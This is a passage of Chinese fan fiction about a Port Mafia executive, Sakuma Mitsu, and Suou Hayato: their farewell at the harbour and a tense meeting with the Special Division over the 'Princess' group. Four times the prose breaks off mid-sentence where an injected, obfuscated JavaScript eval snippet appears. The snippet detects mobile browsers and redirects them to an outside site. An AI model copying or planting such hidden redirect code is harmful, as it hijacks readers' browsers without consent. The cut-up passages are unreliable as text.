不仅能拿啤酒当水喝,虽然嗓子不好,说不了话,只能靠打字或者手势交流,但哪都可以去。想去港口散步吹风随时可以,京成街的各种餐厅酒馆也对身份不明但没人在乎的弥津先生开放,仿佛天地之大任凭他去。 然而,现在就连回消息都只能见缝插针,想彻底的放松休息也全靠上司给他“放假”,被困在黑手党的世界,还担上了通缉犯的名号。他好像变成了三四年前的镜优先生和那位叫“水落”的先生,忍不住想说“你现在过的是什么生活”。原来只有经历过的人才能明白这种感觉。 弥津先生聚精会神地盯着电脑屏幕,没顾得上观察他的表情。他此刻最明智的选择就是一句话都不说地陪着在假期也得加班的弥津先生。 当别人在思考和专注处理其他事的时候,不去打扰是最大的尊重。 工作中的弥津先生是很少见的。重逢时的那种场面让人不忍回忆,弥津先生在他面前开枪的次数也是屈指可数。但想必担任要职的弥津先生少不了和同事交流……弥津先生不是常常把组织里的其他成员称为“同事”吗?现在也是在和“同事”聊些什么吧。 倒是给了他足够的自由去观察弥津先生的眼睛。 这两日他有太多机会去欣赏那双眼睛,弥津先生也不介意他坦然直视的视线。这双色彩热烈的眼睛着实漂亮,是他看千百遍都不会厌倦的清澈,但弥津先生身上的气质硬生生地削弱了别人欣赏这双眼眸的胆量。 这让他忽然想起以前发生过的很多事。 即使弥津先生并没有对他瞒过自己的真实身份,但对那样的世界知之甚少的自己对此并没有实感。没有把弥津先生和他自称的“杀人犯”等同,也想象不到弥津先生曾经犯下怎样的罪行。 现在他或许知道了,那是比一般人所想象的犯罪更复杂的东西。同样是为了利益——弥津先生认为如此——但区别正像是为了一千万美元的犯罪和十亿美元的犯罪吧,因为可以得到的收益更多,要承担的代价和危险也就越大。不过,只是相对来说大。如果普通犯罪者和能力者犯罪者面对同样的情况,显然是后者能做的事更多。 所以,弥津先生当年如果对找麻烦的人痛下杀手,似乎也完全“合理”,但弥津先生没有那么干,对棪堂哉真斗也算手下留情。不然,就以弥津先生如今的身份来看,把那家伙当场杀害也……在情理之中。 听着键盘敲击的轻微响声,他忍不住打了个哈欠。 弥津先生早就习惯熬夜了吧。 可现在好不容易有了名正言顺的“假期”…… “困了吗,”弥津先生停下敲键盘的手,扭头望着他,“不用一直等我的。” 嗯……毕竟已经接近凌晨一点了嘛。键盘的声音还有点催眠,想不犯困也难。 “睡吧。你只请了下午的假。” 欸?可是,不是还在和别人谈事情吗。 弥津先生的神色是一贯的平静,很难单从面部表情分析出弥津先生的态度。唯有捕捉那双眼睛里流露出的些许情绪波动,才能如愿了解他的想法。“明天再谈,他不急。就算他急也没用。” 弥津先生说这句话的时候语气十分好笑,像是手里捏着名贵财宝的卖家,又像一幅画有价无市的名家大师,不怕对方不搭理他。他又问,“是那些‘同事’吗?” “嗯。” 最后敲了几个字出去,电脑屏幕上很快播放起关机画面。 苏枋隼飞从没这么喜欢过夜晚。 小夜灯一关,白日里的疲惫就都会被深不见底的暗色吞没。坏心情会随时间溜走,而好心情则会随自己入梦。在怀里抱着喜欢的人睡觉,就连噩梦也会在无意识的喜悦的冲击下变成美梦吧。 他耳边的呼吸声逐渐平稳,自己也快要在困意的敲打下躲进深层的幻梦。弥津先生什么都容许他做,虽然会因为他故意留下的痕迹语气严厉地警告他,但下次他再犯相同的“错误”,也不会用激进的手段真的惩罚没长记性的他。 他更想让弥津先生好好休息,那比满足个人私欲更让他开心。 * 前一晚没有熬得太厉害,养成多年的生物钟今早清晨又在差不多同一时刻唤醒了他。 弥津先生醒得也很早。但刚一打开昨天晚上随手放在沙发上的电脑,又合上电脑,脸色平淡地打算转身走回卧室。见他做好了出门的准备,回过头来说,“中午回来的时候……帮我买两瓶啤酒吧。” 之前随便买的那种就好。 嗯…… 虽然心里觉得弥津先生喝酒不太好,但苏枋隼飞还是答应了。 那么,工作呢,不是说要今天再谈吗。 “我和他有时差。他没被暗杀掉的话,现在应该在睡觉。” 真是意料之外的毒舌。所以对方是谁呢,竟然有被暗杀的危险。 保持着这样的好奇心,他照常出门,却发现今日孤儿院里没有中岛敦的身影。 向来不会离开太久的人一整个上午都没有出现在孤儿院里。他向院长先生询问,得到了中岛敦“出远门”的回答。 “接下来一周的时间,敦君应该都不会回来,要忙别的事。” 欸?竟然一个礼拜都不在吗。那么,他也每日请半天假的话,分摊到别的职员身上的事务不是会更多吗。 “这倒是不用担心,直到新年前半个月,杂事都会很少。” 不在院长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972664|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室,反而是在医务室整理什么的院长先生问他,“最近,佐久间君没有和你说什么吗。” 最近?“没有呢。” 他们之间,只是日常对话吧。 难道弥津先生应该和他说什么吗?他心想。宅家休假中的弥津先生看起来一切正常,只是刚回来那天实在是疲惫。即使港口黑手党那边有重要得需要弥津先生亲自处理的事,正是因为解决掉了,才会有休假吧。这是弥津先生工作上的事,他就不必多此一举向院长先生透露了。 如果能一直过这样的生活就好了。中午回家,看到弥津先生在客厅里像前一晚那样敲键盘,他如此想道。 家里很暖和,弥津先生只穿着一身家居服。见他回来,似乎打算结束上午的工作了。 这样的日子还能再过两三天。 他看到弥津先生对着电脑屏幕笑了一下。转瞬即逝的笑容,心情还不错的样子。 怎么了,有什么好笑的事吗? “有人顶着时差熬夜,说我不回消息很过分。我昨晚已经对他说了,我要休息。我可没命令他熬夜等我。” 八个小时的时差不是那么好克服的。 旗会的网站上甚至有显示对方何时上下线,但佐久间弥津仍然对自己的所作所为持坦荡态度。当时国内是凌晨一点,公关官也活得好好的,他为什么不能休息。依他来看,公关官也该早点睡觉准备迎接新的一天。 这是由工作性质不同导致的迥异心态。让公关官去习惯他的工作,难度和让他去干公关官的工作一样比富士山高。但特殊时期,双方都退一步吧,大不了他之后为公关官的演员事业砸点钱当赔礼。 苏枋隼飞听懂了一部分。 “弥津先生,你平时会有和别人意见不一样的时候吗。” 佐久间弥津点头,说道,“嗯……以前会经常有这种情况。” 这种事也不可避免吧,在任何行业都会出现。 过去和水落在欧洲部门工作的时候,在重大决策上无法说服对方是常有的事。可是最后总得做个决定出来吧,怎么可能一直拖着。所以,在当时很长一段时间内的解决办法都是准备两种计划,planA和planB,哪种出问题就换另一种。 现在,这种情况会比较少,原因是,“首领的办公室就在楼上。” 行动前的规划,他通常会和紫苑在优的办公室聊。优的办公室离电梯更近,也更有适合讨论问题的氛围,别人找不到他,还总会敲开优的办公室一探究竟。没准他也会在那边。时常会有别人加入讨论,最差的结果不过是讨论出数种差距小得可以忽略不计的方案。若是最终决定不了按哪种剧本走,他可以多走几步去首领办公室面谈。 “只要我的首领决定的事,就不会改变了。” 佐久间弥津把手伸向身边的人,“我给你手机里记个电话。” 电话?谁的。 “紫苑办公室的座机电话。他很少呆在办公室,但会有别人帮他记录通话。” 佐久间弥津把那串数字记在了手机备忘录里。 “以后遇到棘手的麻烦,可以去找他。工作忙起来的话……我可能会走不开。” 102.告别的干部 “我晚上得回去了。” “……好。” 虽然舍不得,但弥津先生的休假到今天为止了。 穿回深夜到家那天穿着的黑色外套,又戴上同色手套,身上的其他衣服也以深色为主,像冬季万物凋零的山野中屹立在天地间的黑褐色枝干。这样一来,气质就变回了黑手党成员,而不是和远在国外的同事用文字斗嘴的居家办公族。 弥津先生问他,“要一起出去走走吗。” 他想答应的。但现在还是白天,准确来说,是傍晚,没关系吗。 “没关系。” 傍晚过后,就是属于港口黑手党的时刻了。 即使太阳快要隐入地平线,港口还有人在工作,卸货,装运,如此反复。 他们二人沿着栏杆边散步。佐久间弥津手里提着电脑包,大衣外套胸口的位置别着那枚胸针。 “这段时间,一直没能真正陪你看过这座城市。” 听出佐久间弥津语气里的遗憾意味,帮忙拿伞的苏枋隼飞摇了摇头,宽慰道,“没关系的,弥津先生。还在把我当需要你照顾的学生吗?” 就算是中学生也能在去到一个陌生的城市时,靠现代科技找到自己预订的酒店哦。 “不……” 佐久间弥津犹豫了一会儿,说,“苏枋,再帮我做件事吧。” 这是请求吗,还是委托,佐久间弥津也说不清。 “好啊,是什么事。” 二人停下脚步,在意外空旷的人行通道上,苏枋隼飞倾听着身边人把那段往事娓娓道来。 这还是弥津先生第一次对他提起自己的家人,那双眼睛认真又暗含不舍地看着他,讲起过去的事。 “其实我有一个妹妹,苏枋。她的年纪比我小六岁,今年刚读大学。” ……妹妹? “同父同母的妹妹,你见过她就知道了。今年三月份左右,她来横滨找过我,我当时在国外。接待她的是我的同事。他们都说现在的她长得和我很像。” 苏枋隼飞立刻明白了。 “弥津先生,你想让我帮你去见她?” “嗯。帮我送样东西给她。还有我的父母。他们生活在一起。” 生活在北海道,札幌,我妹妹在北海道大学读书。还记得我之前带来这边的U盘吗? “把它带给她,她会相信你的来历的。” U盘里是什么,苏枋隼飞没有问,“什么时候去呢。” “可以的话,我希望你……明天就去。”早一点过去,就能早一点回来。冬季出行有被大雪打个猝不及防的风险,这几天的天气一直挺好。 “我妹妹叫藤泽绮宁。” “藤泽”?所以,实际上,弥津先生,你…… “嗯。‘藤泽弥津’,我最初的名字。” 和家里断绝关系后,名字也就改了。之后这么多年,大多数人也只记得佐久间弥津这个名字。 “通缉令上没有名字,只有代号的原因也是这个吗?” “我不知道。随便他们想怎么写吧。” 佐久间弥津不关心异能特务科那群家伙是怎么想的,把他现在耻于被当面称呼的代号正儿八经地标在通缉令上。 “我的父母有正经的高薪工作。大学教授,医生,和犯罪组织毫无联系,甚至应该站在对立面。当年,我被……一位前辈招揽进组织,只能选择和他们断绝关系。父母和妹妹因此搬走。我和他们再也没见过,也没真正联系过。” 虽然保持着他单方面的汇款行为,但毕竟是冰冷的金钱交易。而且,就连那些钱也被他的家人用别的方式还给了他。 “那……你的妹妹来横滨找你,是因为什么。” 佐久间弥津转过身,站到栏杆边,面朝着海风阵阵的海面。 太阳已经消失了,残留在天边,色彩灿烂的晚霞也逐渐变得黯淡,昏沉,直至和暗夜相融。 冷风吹在他脸上,让他的头脑此刻无比清醒。 扭头看着站到自己身边的人,他轻声说,“我们的爸爸妈妈答应她,如果她能比我厉害,就允许她知道我的下落。” 所以,她从中学开始参加很多比赛,成为了田径运动员,得了很多田径比赛的奖牌,今年拿到了大学的入学通知书,爸爸妈妈终于愿意对她说出“藤泽弥津”的下落。 “她比她哥哥强多了。她的哥哥是黑手党组织的成员,所以当年才会离开家,这么多年都不能和他们见面。” 青年的语气明明十分平淡,仿佛讲述的是别人的人生,苏枋隼飞却听得心头发颤,脑海中忽然闪过一丝连他都感到不可思议的灵光。 “弥津先生,你加入港口黑手党,原因和你的妹妹有关吗。” 看到弥津先生没有否认的沉默态度,他知道自己猜对了。 “十几岁的时候,我控制不好能力,也不常用。一次保护她的时候能力暴走,伤人致死……也许是致死,不记得了。不过,死没死,也不重要。我现在甚至不记得事情的来龙去脉了。” 也忘记了那些人是谁。名字,长相,人数,一概不记得。 这数年间,他不知夺走过多少人的性命。哪怕最初还会有负罪感,现在也已经麻木了。 “如果有人和我说那些家伙没死,还活着,我反倒会追过去把他们亲手杀一遍。” 他是通缉犯,还怕这个吗,让那些人枉活多年才是最可恨的。 站在他身边的苏枋笑了一声,牵上他的手,“弥津先生是有仇必报的性格呢。” 有仇必报吗……这也算组织的原则了。 他回握着苏枋的手,将心底翻涌的情绪掩盖得极好,“港口黑手党为那年糟糕的我提供了一个庇护所,苏枋。这样解释的话,你应该能明白我为什么很难真正离开组织了。” 只可惜……可惜。 “还记得我说过的话吗,还有我留给你的电话号码。” 紫苑是个可靠的人。为人正经,异能力运用得炉火纯青,枪法和体术都很好,但又不是开不起玩笑的古板性子。 “嗯。但我还以为你会让我联系镜优先生。他不是很受你信任吗。” 等待苏枋隼飞的是眼前人用另一只手捏他的脸,像以前很多次那样亲密。 他稍微感到有点疼。 这次是不是用劲了,弥津先生。 “你怎么变成笨蛋了。” 不再捏他的脸,那只戴着手套的左手又去揉乱了他的头发。 “如果我忙的话,优不是也会忙吗。”佐久间弥津说。 “替我去见见他们。把U盘转交给绮宁,然后,你多在札幌玩几天。以雪景为卖点的城市,还是值得在冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977619|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天一去的,趁这个机会,去逛逛吧。” 他是去不了了。 “……好。” 那时的苏枋隼飞还没能发觉自己心中难言的情绪是什么。街边路灯亮起,他们要在港口分道扬镳了。 弥津先生口头告诉了他两个地址。弥津先生的家人位于札幌的家,还有弥津先生的妹妹在学校周边就近租住的公寓。 心头涌出的一股冲动让他忍不住问,“弥津先生,我可以给你拍张照吗?” 拍照? “嗯。如果你的家人想知道你现在的模样,我可以把照片给他们看。” 佐久间弥津很少拍照,被从监控摄像头里截图出来的次数比他拍照的次数还多。但已经到了这种时候,佐久间弥津也就同意了。反正,之后也不一定有机会这么做了。 他答应了。那张留在苏枋手机里的相片,未来或许有重见天日的时候,但不是现在。 “天黑了,早点回去吧。院长那边,就说是我让你把那边的事先放下。” 把手里重量不轻的伞交到弥津先生手里,此刻,苏枋隼飞只能在青年的叮嘱下回家了。 “弥津先生,新年前后,你有时间吗?” “可能……会有吧。”眺望着远方一片漆黑的海面,佐久间弥津回答说,“成员们也是有过节日需求的普通人。” 一旦走过这段路,他就看不到港口了。苏枋隼飞不由得回头,却发现弥津先生还站在他们分别的位置,遥望着他,在打电话。 看到他回头,快要和夜色融为一体的人影抬手冲他挥了挥。他也如此回应,抱着对下一次见面的期待转身离开。 显然,苏枋隼飞还是不了解这个城市,也不了解那边的世界。 他既没有意识到工作忙碌的黑手党干部为什么能奢侈得抽出四五天时间整日留在他身边,也诚实地没有偷看佐久间弥津和远在英国的同事的聊天。 也许等他经历过一切后,才能把自己遇到的种种迹象联系在一起。 目送苏枋离开,站在无人打扰的岸边,佐久间弥津听着紫苑打来的电话。 “对方果然上钩了,佐久间先生。” “嗯。他怎么样了。” “他没事。他好像……很喜欢将别人一军的感觉。” 评价上级——即使不是自己的直属上司——让紫苑有点迟疑。那位先生会对着暗杀他的敌人说“佐久间那个混蛋”这样的话,他不方便怒也不方便言。相当不俗的异能力能让其全身而退,和敌人对峙时的表现也不像纯粹的文职人员。他对那位先生的了解仅限于对方是组织里的谈判专家,还暂时充当首领的秘书这类身份。 “他该谢我让他表面拥有命令歼灭部队的权限。你在回来的路上了吗?” “是的。在上飞机,我马上启程回去。” “‘佐久间弥津’失踪的消息很快就会传到敌人耳朵里,你觉得,他们还会按计划来横滨吗?” 敌人能确认的唯有留在横滨的钢琴家在全权管理这段时间的一切工作。 去往欧洲部门的“佐久间弥津”是别人假扮的,本人下落不明;负责欧洲部门事务的干部“水落望音”也失去踪迹。最重要的,敌人确认不了港口黑手党最危险的组织首领此刻位于何处。 “我觉得仍然会。因为他们没有退路可走了。” 103.闹腾的黑手党人 和异能特务科会面的前一天,佐久间弥津被堵在了办公室,公关官全方面阻止年轻的干部先生临阵脱逃。 “去见那些家伙就让你压力这么大吗?你看起来像离了审讯室就会被太阳晒死的吸血鬼一样。” 大啊,当然大。 脸色极度难看的干部先生把和他一起呆在审讯室玻璃这一侧的成员惊得毛骨悚然。 “如果你是通缉犯,你的压力不会比我小。” 不想去分辨佐久间话里有几分真心假意,公关官也懒得浪费自己的下班时间,“如果明天早上见不到你人,我会申请让首领给你下死命令。” 佐久间弥津怎么也逃不开这一遭。以至于第二天出现在异能特务科地下办公据点之一的人像刚从地狱爬出来一样,神色冷漠得让人避之不及。 港口黑手党目前最年轻的干部,实力不俗,性情冷淡,光是被记录在案的“事迹”就够得上一句凶残。 老实说,处理那起奇怪的自相残杀事件的专案组成员当初怀疑过是此人做的手脚,但在更多细节被挖出后,很多人也承认,港口黑手党的这名干部成员不可能是幕后黑手,甚至可能是敌人要干掉的目标之一。 但倘若这只是两个犯罪组织的纷争,异能特务科也好,军警方也好,鹬蚌相争,渔人得利,他们只需要坐等结局。 他们的会议不允许太多人参加,港口黑手党的参会者只有两人。和事件有关的那名干部,还有一位经常负责机构之间交流活动的高层。 有位异能特务科干事从二人身边走过时,却发现这两个黑手党人的身份好像调换了似的…… 居然是那位金发青年微笑着低声威胁,“敢半路跑掉,你就完蛋了。” 在黑手党里担任干部一职的青年面无表情地盯着窗外的枯木,半句话都没回答。也不知道听没听到。 走廊只有这么宽,他经过时,和这两人离得很近。他工作生涯中头一次和这么危险的家伙站在同一条走廊里,他在异能特务科工作还没满一年呢。 被下级口头威胁的青年生着一双其实很难得一见的眼睛,那样亮眼的色彩他只在黄昏的天际和精心养殖的玫瑰园见过。但浑身的气质实在让人害怕。在那位金发青年说了那样的话后,也丝毫不理睬……这两个家伙的关系究竟是好是坏。港口黑手党里的上下级也会像这样有矛盾? 可若不是发现身旁有人经过,佐久间弥津真想对着天花板翻白眼。他就算半路跑了又能怎么样呢……公关官能把他抓回来吗。 十几分钟后,他竟然真的打算跑掉了。 原因无他,异能特务科的人在磁吸白板上贴出了数张照片,其中竟然有两人让他觉得十分面熟。 “王女”中有个能力异常麻烦的人物,“异能力会‘摧毁人格’。照片上的这些人都是中招的受害者,很多人都无法正常交流,显示出痴呆的症状。” 照片上的男男女女年龄不固定,有年轻人,也有老人,单看这些照片根本想不通敌人的下手规律。 佐久间弥津认出了那个年轻的国际刑警,第二行第一张,贝洛·斯卡德纳,那个把维尔丹尼的使用方法告诉他的人。 还有被他干掉的老家伙的养子,法涅安·霍克利,第二行最后一张,这个聒噪的年轻人在地下拳击场打拳赚零花钱。 如果是因为这两个家伙,对方会认识他也情有可原…… 不,也不对。 佐久间弥津在心里否认。 不知是“王女”组织先把横滨和他当目标,再接触那两人,还是先接触那两人之后,才把横滨和他当成了目标。 如果是先接触了他们,又是出于何种方式和目的,意识到他的存在呢? 那名国际刑警言行举止有些冒失,像个新人,但既然是刑警,想必有自己的过人之处。而另一个人看着不太聪明的样子,但那一夜在拳击场上的表现令人侧目。后者会被选为目标的原因,可能是在地下赌场太过瞩目,不知道在心怀鬼胎的赌场老板死掉之后有没有继续当拳手。 那么,前者呢,“王女”很想和国际刑警组织为敌? 前者和他在爱丁堡相遇,后者和他在德国有过一面之缘。 太多没有答案的问题出现在他脑海中了。 他抬起胳膊,手指着白板。 “这些人受伤的时间,你们能查到吗。” 他不介意别人听到他的嗓音后露出吃惊的表情。 比对受伤时间,排列他们中招的时间前后和地点,就能调查出“王女”组织的行动路线了。 他能想得到的事,异能特务科很难想不到。之后列出的详细信息还比对了受害者中招时间和“王女”盗取悬赏过他的异能研究机构数据的时间。 有前有后,很乱,但他认识的人受袭都是在盗取数据之后。 “给我一份他们的照片,全部。” 这样的要求不算很合理,但本着共同解决此事态度的异能特务科愿意提供照片的复印件。 “希望……你能把这些受害者的照片用到合适的地方。” 向来对外保持着冰冷凶残形象的人其实不想回答什么,但因为身边这个不断给他施压的“前辈”,他也只好点头当做回应。 难道政府机构不是本就该比其他任何机构把这件事都办得出色吗?异能特务科能查到这些东西才会然后他满意,不然他会对异能特务科采取蔑视态度的。 …… 佐久间弥津板着脸,用一如既往的冷淡神色掩盖此刻正发生的一场没有硝烟的“战争”。 公关官死死抓在佐久间弥津的左胳膊上,眼睛没有看向他,但早就发觉此人有拿着照片退场的意图。 银光倏忽闪烁,手指传来的刺痛让公关官只好松手。 左手重获自由的人从那一沓照片复印件中抽了两张出来,缓缓摆到他面前。 相当宽敞又干净的会议室仅亮着进门处的几盏灯,灯光自上而下,照亮人们脚下的路。异能特务科的干事在白板和数字屏幕前继续讲解和事件有关的情报,有别人也问起受害者的事,没来得及观察这两个在座位后排窃窃私语的黑手党人。 “你认识吗。”佐久间弥津问。 公关官顿时觉得荒唐。 他怎么可能认识国外的受害者。 “我认识。” ……什么? 佐久间的左手点在其中一张上。 “国际刑警。” “国际刑警。” 正在一一为与会人员解释受害者身份的特务科干事也在电脑屏幕上切出了这名受害者的资料页。 果然是名国际刑警,并且处理的是异能者的案件。 有什么信息即将在脑海中前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982077|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后联系起来,但公关官却觉得还差一口气。 还差一点。 佐久间又在他面前摆了另一张照片。 “这个家伙,在德国一家地下赌场内的拳击场当拳手。他的养父是个组织头目,我杀的。赌场老板也是我杀的。” 佐久间说的身份和特务科干事展示的身份不完全相同,但前半部分基本符合,唯独少了其养父和赌场老板的死亡真相。 听完佐久间的话,公关官心中也明白此事变得更加复杂。 他不打算强行把佐久间留下听完全场的情报交流了。 他低声问,“你有什么打算。” “我要回去见首领,现在就去。” 港口黑手党的干部从椅子上站起,视线扫过在场的零星几位听众,头也不回地转身离去。 而当佐久间弥津站起身时,才发现最前方坐着一位他不是很想承认的“熟人”。 被半强迫来这里,他根本没心思观察和自己一样听特务科干事絮絮叨叨的人都是些什么家伙。芥川龙之介身旁还坐着一个和他年纪相仿,或者比他年长的男人,个头不低,但如果不说这是武装侦探社的家伙,他会以为这个男人是个杀手。 他对从各方投来的视线熟视无睹,还在解释情报的特务科干事也被他突然站起的行为吓得手忙脚乱。 只留下依旧镇静地坐在原位的金发青年为干部先生这番看似极端我行我素且毫不尊重别人的行为买单。 “他有急事……请继续吧。” 虽说半途离场这种事实在太让场面难堪,但一想到这位是形象被印在通缉令上的港口黑手党干部,所有人都可以理解了。 反倒是如果今天什么意外都没有发生,才会让人有“那家伙是不是和传闻中不太一样了”的错觉。 见只有一人出门,等在建筑外围的司机急忙熄灭刚点燃还没抽的烟,在干部先生示意回总部时忍不住问,“但……哪位呢?” 怎么只有佐久间干部一个人出来了。可佐久间干部的样子不是很平常吗?不像是里面发生了不为人知的冲突。 “他自己会回来。先回总部吧。” 今日充当司机的成员立马噤声,不再让上司重复意图。 在回程的车上,佐久间弥津拉下车窗,在冷风的吹拂中细细翻过那一沓照片。 他认识其中两人,公关官一个都不认识。但如果想和中也先生解释那名刑警的来历,他不可避免地要提到他为何当年会出现在国外的原因。 他一直很小心地,不在组织成员面前提起以前的事。特别是他不想让中也先生又被迫想起自杀身亡的前首领。而且,他坦白当年受伤后联系水落回英国的事,会暴露太多他有意无意掩盖的事情。 其实他早就回过欧洲部门的事实,其实他早就可以回来的事实。 如果中也先生因此生气的话……也没办法了,他会接受中也先生的任何态度。 在进到首领的办公室前,他联系了水落。 “……” 那头似乎被他的电话吵醒的水落还有点懵,随后说,“想说什么就说什么吧,没事。” 我觉得首领只会骂你伤那么严重怎么不早说,不然他就让信天翁当天把你带回横滨了,那时候的中也先生有这个权力。 “说不定前首领会被中也先生骂得更狠。” 104.不是文盲的黑手党人 呆在首领办公室,听完这对上下级交流全程的信天翁一副被骗后追悔莫及的样子。 “我还以为你只是单纯能忍!所以你那时候联络了水落望音帮忙?”意味着他被骗了个彻底。 “……是这样的。” 那天夜里,他考虑到那样的伤口不经过专业处理一定会留下后遗症,说不定会影响正常生活或者在开枪时手不稳,才去找了水落。 他连夜回到英国接受治疗,连同后面的恢复期,以及声带填充手术都是呆在国外时做的。 港口黑手党的首领心情忽上忽下地听完那段发生在自己无比信任的下属身上的,如此跌宕起伏的故事。 如水落望音所言,他们的首领根本没有追责的意思。 在中原中也看来,那些事早已成为了过去。时至今日,再追究佐久间隐瞒了多少辞职后的细节,又有什么意义。还不如好好考虑面前的事。 他把佐久间带回来的照片在桌上一字排开,也没管佐久间被刚好找他有事的信天翁抓着问了多少以前的事。 他们又不会在他的办公室打架。 最棘手的敌人……真的棘手吗。 能力是摧毁人格的家伙据说是个年轻女性,外国人。如果是个擅长装模作样假意逢迎的家伙,面对不同年龄段的受害者都能得手倒也不算奇怪。 “你要是那天对我示个弱,说‘好疼,要死了,能不能送我去医院’的话,我就带你回来了!” “……绝对不。” 但大概率,中原中也认为,这家伙动手的时候周围一定有帮凶。佐久间带回来的消息不包括这方面。受害者们来自不同行业,在佐久间认识的国际刑警组织成员之一、□□头目的养子以外,据异能特务科调查所知,还有跨国公司高管之子、退役军人、小有名气的歌手,甚至有一位看起来平平无奇,绝对不会危害社会的机场工作人员。 也不排除是在故意混淆视听。 中原中也把照片翻转,看着列在照片背后的受害人身份出神。 “别犟了,佐久间,如果你当时不硬撑着对我开枪的话,我早把你带回来丢给医生了。” “不需要。” “你这几年的长进只有越来越嘴硬这一点吗?” 这会是一个不同于以往的局吗。仅靠受害者们的职业和身份,中原中也很难总结出他们的共同点。而且,就算以“为了干掉佐久间弥津和港口黑手党”为出发点去思考,受害者居然只有两个和佐久间有关。 这堆事麻烦得很。 看了眼时间,中原中也在电子日程表上加了件事。 “你偷偷潜入我的家,还是我的卧室,那时候的你是一个来路不明的敌人,就算被我误伤,也只是悲剧后的第二重悲剧。” “你真是——不客气啊!‘敌人’?你那天难道一点都不觉得我眼熟吗?” 更多的事还得等公关官回来再说。 中原中也其实也不想和异能特务科打交道,但面对这种有针对整个城市意图的家伙,异能特务科想置身事外,只会让他更想发火。 “……” “佐久间!快回答啊?为什么连这种问题都不愿意回答!我的长相一点记忆点都没有吗?你——你怎么又要喷药了!是不是国外的医生水平不够?” 中原中也伸手摸到瓷杯,没加冰块的咖啡已经冷掉了。他不懂不同温度的咖啡在提神效果上有没有区别,但他经历过下班时顺手灌掉上午忘了喝的咖啡,结果到了凌晨十二点都没有困意的绝望时刻。明明那天是少见的基本没事做的好日子,却熬到凌晨两三点才睡着。 真是太痛苦了。 自那之后,他每次都有注意喝咖啡提神的时间,免得惨剧重演。平凡的时刻来之不易,能珍惜的时候就得好好珍惜啊。 “手术不是完全一劳永逸的。” “你最好去医疗部复查一遍。” 咖啡味在年轻首领的口腔中散开。时近正午,他打算等公关官回来再好好谈谈。敌人心怀不轨,可这段时间组织也没真正遭到什么损害,几次意外被轻松化解,压力相当于没有。 一个冒险的念头在他脑海里闪过。 既然知道了对方的来历,为何不干脆夺过主动权。异能特务科做事还得考虑人权和道德,黑手党可用不着。把这件事压缩成两个非法组织之间的纷争,是能减少很多“成本”,但如果异能特务科当真是抱着把他的组织当牺牲品的态度……特务科自己就有变成牺牲品的危险了。 ……? “你们怎么还在吵。”还说起医疗部门的事。 “没什么。我先离开了,中也先生。” 佐久间弥津想离开这个是非之地。收拾起被首领叠放到一边的照片,他加快步伐,格外注意脚下有没有踩到因异能力而出现的沙子挡路。 有惊无险地关上首领办公室的门,走进电梯里,才长舒了一口气。 此后,他对上司真就一点秘密都没有了。 从出电梯到回办公室的途中,他有想过给水落打个电话,谈谈这件事,但一进门,他发现风间站在靠墙的架子边,手里还拿着那张公关官给他的证物照片时,决定把联系水落的事缓缓。 他的突然进门,正在思考什么的风间显然有被他吓到。 风间平时会来送文件资料,和优一样,都有办公室的备用钥匙。他没介意风间擅自拿那张标有不明编号的照片,问道,“你发现了什么。” “抱歉,佐久间先生……但这是什么照片?”怎么照片上是佐久间先生的通缉令。 是最近发生在横滨的事件里的“证物”之一,佐久间弥津给新来没多久的下属解释。 “一个死掉的外地人所背的包里,有一张我的通缉令,还有个不明编号。” 401W4,鬼知道这是什么意思。 “‘编号’?”风间理怀疑地看了眼照片,“这不是编号,佐久间先生。” 不是?那会是什么。 本职是翻译的风间理自信地说,“这应该是拉丁语里的词汇,这人写得太潦草了,笔画顺序也很奇怪,想辨认是很费劲。” ……拉丁语?“是什么意思。” “这个词应该是‘ADIUVA’,我不精通拉丁语,但这个词的意思挺简单的,是‘拯救’。” 见上司依旧望着自己,风间理又详细解释说,“这个词是‘adiuvare’的命令式,意思可以等同于英文中的‘to help’。写下这个单词的人笔迹不好认,所以被……认成编号之类的也很正常。” ……怎么会是这个意思。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985323|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 风间理把手中的照片归还给上司,不再说话打扰上司思考。 